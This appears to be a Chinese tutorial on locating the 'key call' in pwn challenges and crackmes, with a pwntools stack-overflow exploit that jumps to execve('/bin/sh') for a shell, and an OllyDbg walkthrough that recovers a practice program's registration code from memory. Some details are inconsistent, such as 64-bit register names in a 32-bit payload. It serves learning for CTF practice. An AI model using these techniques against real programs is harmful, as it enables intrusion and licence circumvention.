一、尋找關鍵call
尋找關鍵 call 是 Pwn 入門最核心的“定位”技能:
“只要找到那條能把溢出變成 shell 的 call,後面就是佈置參數和跳過去的事。”
下面給出一套只依賴免費工具、100% 新手可復現的“找關鍵 call”速查表,按“靜態→動態→腳本”三步走,附實戰 Demo,照敲即可。
一、靜態 30 秒:用 strings + xref 鎖定“可疑 call”
- 先挑字符串
strings -n 3 ./pwn | grep -E 'sh|/bin|flag|system|exec|cat'立刻看到/bin/sh、cat flag、system等關鍵詞。 - 拿地址
把關鍵詞地址扔進 IDA(免費版即可):
Jump → Jump to address → 雙擊 → 按 x 查看交叉引用所有call system、call execve、call puts一覽無餘。 - 給函數重命名
在 IDA 裏按n,把地址改成call_system_plt、call_execve方便後面寫 exp 時直接複製。
二、動態 1 分鐘:用 gdb 驗證“這條 call 能不能用” 模板命令(pwndbg 自帶)
gdb ./pwn
pwndbg> checksec # 看保護,沒開 NX 就可以直接 call shellcode
pwndbg> info functions # 列出所有函數,找 system|execve|puts
pwndbg> disas main
假設看到
0x08048657 call 0x8048400 <puts@plt>
下斷點
pwndbg> b *0x8048400
pwndbg> r
程序跑到這裏停下後:
pwndbg> stack 20
觀察棧頂——如果棧頂下方就是 /bin/sh 字符串地址,那麼這條 call puts 就可以改造成 call system(同一 PLT 條目,參數位置對了就能直接 getshell)。
三、腳本 10 行:自動 dump 所有 call 地址 不想手動?一條 Python 用 pwntools 搞定:
from pwn import *
elf = ELF('./pwn')
for got_name, got_addr in elf.got.items():
print(f'{got_name:15} @ GOT {got_addr:#x}')
for plt_name, plt_addr in elf.plt.items():
print(f'{plt_name:15} @ PLT {plt_addr:#x}')
運行結果示例
system @ PLT 0x8048400
puts @ PLT 0x8048410
read @ PLT 0x8048420
→ 直接拿到 system_plt = 0x8048400,寫 exp 時 payload += p32(system_plt) 即可。
四、實戰小例子(32 位棧溢出,找關鍵 call 全過程) 題目:pwn1,保護 NX off,有棧溢出,無 system 符號。
步驟:
- 靜態
strings pwn1 | grep /bin
# 輸出:/bin/sh 地址 0x0804a024
- IDA 看交叉引用
發現0x08048657 call execve@plt旁邊就是/bin/sh的 push。
→ 關鍵 call 確定為execve_plt = 0x8048400 - 寫 exp
from pwn import *
elf = ELF('./pwn1')
execve_plt = elf.plt['execve'] # 0x8048400
binsh = 0x0804a024 # 上面 strings 出的
payload = b'A'*140
payload += p32(execve_plt)
payload += p32(0) # 隨便填 ret
payload += p32(binsh) # rdi
payload += p32(0)*2 # rsi=0, rdx=0
io = process('./pwn1')
io.sendline(payload)
io.interactive()
跑完直接 cat flag。
五、思維導圖(文字版) 找關鍵 call ├─ 靜態速掃 │ ├─ strings 找 /bin/sh system │ ├─ IDA 交叉引用 │ └─ 重命名 call_system_plt ├─ 動態驗證 │ ├─ gdb 下斷 plt │ ├─ 看參數位置 │ └─ 確認能用 ├─ 腳本自動化 │ └─ pwntools ELF.plt/got 一鍵 dump └─ 實戰 └─ 溢出 → 關鍵 call 地址 → 參數 → getshell
六、一句話背下來 “先 strings 找詞,再 IDA 看交叉,gdb 跑一遍,pwntools 拿地址——關鍵 call 就到手了。”
關鍵call定義
用一句話先給你“關鍵 call”的終極定義:
“關鍵 call 就是能讓你的溢出‘直接變成 shell’的那一條機器指令地址。”
下面用 3 個生活比喻 + 1 張圖 + 1 行命令 保證你 2 分鐘徹底懂。
一、3 個比喻(層層遞進)
- 打電話
你把緩衝區溢出當成“把電話簿裏的號碼改成任意號碼”。
關鍵 call = “一鍵 110”——你只要把號碼改成它,撥通(ret)就自動報警(getshell)。 - 外賣單
棧溢出就像你在外賣單上“把商家地址塗掉”。
關鍵 call = “塗成‘麥當勞’”——騎手(CPU)看到就去麥當勞給你帶套餐(/bin/sh)。 - 電梯按鈕
溢出相當於你偷偷把 5 樓按鈕裏的線路接到頂樓。
關鍵 call = “頂樓按鈕”——別人按 5 樓,電梯直接送你上天(root)。
二、1 張圖(文字版,隨手畫)
棧溢出前:
[buf 64 B][saved ebp][saved eip] ← eip=0x08048400 (正常返回地址)
棧溢出後:
[AAAAAAAA...AAAAAAAA][0x08048400→改成→0x08048657]
│
▼
關鍵 call 地址
(例如 call system@plt)
CPU 執行到 ret 時,把 0x08048657 彈給 EIP → 跑到 call system → 拿 shell。
三、1 行命令(實戰拿地址)
strings -n 3 ./pwn | grep -E 'sh|system'
objdump -d ./pwn | grep -E 'call.*system|call.*execve'
輸出示例:
08048657: e8 04 00 00 00 call 8048a60 <system@plt>
→ 0x08048657 就是“關鍵 call”地址,溢出時把它寫進 saved EIP 即可。
四、30 秒記憶口訣
“找字符串,搜 call,填 EIP,getshell。”
把這句背下來,以後任何棧溢出題先跑這 4 步,關鍵 call 永遠不會漏。
二、練習
這次我們有個練習exe
我用這個ExeinfopeWin XP_8.6的pe分析工具
用pe分析工具將練習的exe程序放入或者打開
可以看到完整數據就是沒有殼,可以看到它是c++ v.5-6.0編寫的,連接器版本6,子系統GUI的程序。
入口點是00010274
現在通過od打開練習xex,現在是暫停的狀態。
分析它這個exe,可以用右鍵-中文搜索引擎-智能搜索
就進入到了這個頁面
這裏大概都是push相關的操作,都是英文,在這裏可以看到一些隻言片語的話。
找到這個感謝註冊的語句雙擊
就來到了對應的彙編語句的位置
往上看這裏有一個je跳轉
往上看,這裏的jnz是最外層if判斷語句,這個判斷是大於內層je的else語句
如何打斷點,點擊位置右鍵-斷點-切換,其實直接可以快捷鍵F2即可。
地址位置變紅就表示斷點已經下到該位置上了
這個位置的call就是關鍵call了
在這個位置右鍵-斷點-運行到此位置
程序應用就已經運行起來了
1)運⾏軟件點擊File-》register
2)隨便輸⼊⽤户名和密碼
3)記錄彈窗的的關鍵字
4)發送到PEID查殼
4.1)未找到加密的殼
4.2)發送到OD打開,在反彙編⽬錄下右鍵菜單找到中⽂搜索引擎-》智能搜索
4.3)找到剛才蒐集到的密碼錯誤信息
4.4)雙擊進⼊向上查找關鍵跳轉(1)接着向上找到關鍵CALL(2)在00403990 jnz 1跳轉這⾥按F2設置斷點
接着F8動調程序,運⾏了程序,OD停下,此時打開註冊按鈕,輸⼊註冊碼
這⾥輸⼊test 點擊認證。此時od跳到了我們下斷點的地⽅ 5.0)⼀直F8進⾏單步測試直到出現註冊碼為止
0019F998 00D27990 ASCII "8065908B746D4AAE4FDB9E34555497D6"
5.1)輸⼊找到的註冊碼
6)成功獲得註冊碼
找到關鍵CALL
0019F980 00446DD8 ASCII "8065908B746D4AAE4FDB9E34555497D6"
這個技術也叫內存追碼,早期軟件安全防範意識不強的時候,經常會出現的問題。